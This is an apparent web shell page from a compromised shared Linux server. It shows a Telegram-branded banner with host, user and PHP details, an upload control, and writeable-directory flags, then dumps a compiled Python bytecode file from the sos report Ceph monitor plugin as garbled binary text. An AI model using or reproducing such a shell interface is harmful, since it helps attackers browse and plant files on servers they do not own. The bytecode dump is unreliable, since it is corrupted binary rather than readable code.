https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/ceph_mon.cpython-310.pyc
o

-�_g '�@s4ddlZddlmZmZmZGdd�deee�ZdS)�N)�Plugin�RedHatPlugin�UbuntuPluginc@sHeZdZdZdZdZdZdZdZdZ	dd	�Z
d
d�Zdd
�Zdd�Z
dS)�CephMONan
    This plugin serves to collect information on monitor nodes within a Ceph
    or microceph cluster. It is designed to collect from several versions of
    Ceph, including versions that serve as the basis for RHCS 4 and RHCS 5.

    Older versions of Ceph will have collections from locations such as
    /var/log/ceph, whereas newer versions (as of this plugin's latest update)
    will have collections from /var/log/ceph/<fsid>/. This plugin attempts to
    account for this where possible across the host's filesystem.

    Users may expect to see several collections twice - once in standard output
    from the `ceph` command, and again in JSON format. The latter of which will
    be placed in the `json_output/` subdirectory within this plugin's directory
    in the report archive. These JSON formatted collections are intended to
    aid in automated analysis.
    zCEPH mon�ceph_mon)�storage�virt�	container�ceph)zceph-(.*-)?mon.*)z/var/lib/ceph/mon/*z/var/lib/ceph/*/mon*�%/var/snap/microceph/common/data/mon/*rcCs�|�d�}|��|_|jj�d�}|s9|�ddd��|�gd��|s+|�dg�n|�dg�|�d	d
g�n|�gd��|sI|�dg�n|�d
g�|�ddg�|j	ddd�|�	gd��|�
d�}|ddkr�|d��D]}|�d�r�|�
�d}|�	d|���qugd�}|j	dddd�|j	ddd d�|j	d!d"�|��D�dd#�|�	d$d"�|D��|j	d%d"�|D�dd#�dS)&N�all_logs�	microceph�	ceph_conf�ceph_mon_log)z.*/ceph.confz$/var/log/ceph/(.*/)?ceph-.*mon.*.log)z/etc/ceph/*keyring*z/var/lib/ceph/**/*keyring*z/var/lib/ceph/**/tmp/*mnt*z/etc/ceph/*bindpass*z/var/log/ceph/**/*ceph-mon*.logz /var/log/ceph/**/*ceph-mon*.log*z/run/ceph/**/ceph-mon*z/var/lib/ceph/**/kv_backend)z'/var/snap/microceph/common/**/*keyring*z(/var/snap/microceph/current/**/*keyring*z./var/snap/microceph/common/data/mon/*/store.dbz"/var/snap/microceph/common/state/*z./var/snap/microceph/common/logs/*ceph-mon*.logz//var/snap/microceph/common/logs/*ceph-mon*.log*rz"/var/snap/microceph/current/conf/*zceph report�ceph_report)�tags) z!ceph config generate-minimal-confzceph config log�ceph config-key dump�
ceph crash lszceph crash statz
ceph featureszceph health detailz
ceph insightszceph log last 10000 debug auditz!ceph log last 10000 debug clusterz
ceph mgr dumpzceph mgr metadatazceph mgr module lszceph mgr serviceszceph mgr versionsz
ceph mon statzceph mon features lszceph node lszceph osd crush class lszceph osd crush dumpzceph osd crush rule lszceph osd crush show-tunablesz!ceph osd crush tree --show-shadowz ceph osd erasure-code-profile lszceph osd metadatazceph osd utilizationzceph telemetry channel lszceph telemetry collection lszceph telemetry lszceph quorum_statusz
ceph versionszceph-disk listr�statusr�output�*zceph crash info )zconfig dumpz	device lsz	df detail�dfzfs dumpzfs lsz	fs statuszmds statzmon dumpzosd blocked-byzosd blocklist lszosd df treezosd dfzosd dumpzosd numa-statuszosd perfzosd pool autoscale-statuszosd pool ls detailzosd statzpg dumpzpg statrztime-sync-statusz'ceph health detail --format json-pretty�json_output�ceph_health_detail)�subdirrz"ceph osd tree --format json-pretty�
ceph_osd_treecS�g|]}d|�d��qS)zceph tell mon.z mon_status�)�.0�midrr�=/usr/lib/python3/dist-packages/sos/report/plugins/ceph_mon.py�
<listcomp>��z!CephMON.setup.<locals>.<listcomp>)rcSsg|]}d|���qS)�ceph r�r�cmdrrr r!�scSr)r#z --format json-prettyrr$rrr r!�r")�
get_option�get_ceph_version�ceph_version�policy�package_manager�pkg_by_name�
add_file_tags�add_forbidden_path�
add_copy_spec�add_cmd_output�collect_cmd_output�
splitlines�endswith�split�get_ceph_ids)�selfr�
microceph_pkg�crashes�crashln�cid�	ceph_cmdsrrr �setup,sv

�	������
&
����
�z
CephMON.setupc
Cs~|�d�}|ddkr8z|d��d}t|�d�d�WSty7}z|�d|���WYd}~nd}~ww|�d	�dS)
z% Get the versions of running daemons zceph --versionrrr��.z"Could not determine ceph version: Nz?Failed to find ceph version, command collection will be limited)�exec_cmdr3�int�	Exception�
_log_debug�
_log_error)r5�ver�_ver�errrrr r'�s
���zCephMON.get_ceph_versionc	
Cs g}|jdvrK|�d�}|ddkrI|d��D]0}|��}|rH|d�d�rHz|�d�}|�||d�WqttfyG|�	d	�Yqwq|S|jd
kr�|�d�}|ddkr�zt
�d|d�}|�|�
�d�d
��W|Sty�}z|�d|���WYd}~|Sd}~ww|S)z! Get the IDs of the Ceph daemons )��zps -u ceph -o argsrrrzceph-monz--id�zUnable to find ceph IDs�zceph statusz!(\s*mon: .* quorum) (.*) (\(.*\))�,zid determination failed: N)r(r>r1r3r2�index�append�
IndexError�
ValueError�	_log_warn�re�search�extend�groupsr@rA)	r5�ceph_ids�out�procs�proc�id_index�stats�retrErrr r4�s<


��
�
����zCephMON.get_ceph_idscCsn|jdkrgd�}|D]}d|�d�}|�d|d�qngd�}dd	�|��d
�}|�d|d�|�d�dS)NrI)�key�username�password�_secret�rbd/mirror/peer/.*z(((.*)(z\\\": ))((\\\"(.*?)\\\")(.*)))rz\2\"******\"\8)�API_PASSWORDz
API_USER.*z
API_.*_KEYr[r^r_z((\".*(�|z)\":) \")(.*)(\".*)z\1*******\5)r(�do_cmd_output_sub�join�do_cmd_private_sub)r5�keysr[�cregrrr �postproc�s

��	�zCephMON.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�
containers�filesr(r;r'r4rgrrrr rs!r)rP�sos.report.pluginsrrrrrrrr �<module>s

https://t.me/RX1948 - 2025